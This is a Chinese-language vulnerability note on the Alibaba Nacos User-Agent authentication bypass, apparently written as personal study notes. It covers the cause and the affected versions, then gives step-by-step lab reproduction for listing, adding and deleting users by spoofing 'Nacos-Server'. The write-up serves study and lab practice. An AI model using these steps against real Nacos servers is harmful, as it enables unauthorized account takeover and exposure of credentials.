漏洞原理:
Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
影响版本:
Alibaba Nacos <= 2.0.0-ALPHA.1
漏洞复现
漏洞利用过程如下:
1. 修改User-Agent的值为Nacos-Server到请求包中
2. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9查看状态码是否为200,且内容中是否包含`pageItems`
3. 使用POST方式访问http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户
4. 访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9获取已有的用户列表
5. 访问http://target:8848/nacos/,使用添加的新用户(vulhub/vulhub)进行登录
进入vulhub靶场
1.访问http://ip:端口号/nacos/v1/auth/users/?pageNo=1&pageSize=10
2.添加任意用户
访问http://ip:端口号/nacos/v1/auth/users,抓取数据包,将GET请求在burpsuite中改成POST请求,将User-Agent改为Nacos-Server 添加表单username=用户名&password=用户密码。
3.尝试登录,登录成功。
4.删除任意用户
访问http://ip:端口号/nacos/v1/auth/users?username=用户名,抓取数据包,将GET请求改成DELETE请求,将User-Agent改为Nacos-Server。
免责声明:
本账号所分享内容仅用于个人的学习与笔记归档,禁止用于违法途径,本账号及作者不承担相应的后果!由于传播、利用本账号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本账号及作者不为此承担任何责任,一旦造成后果请自行承担!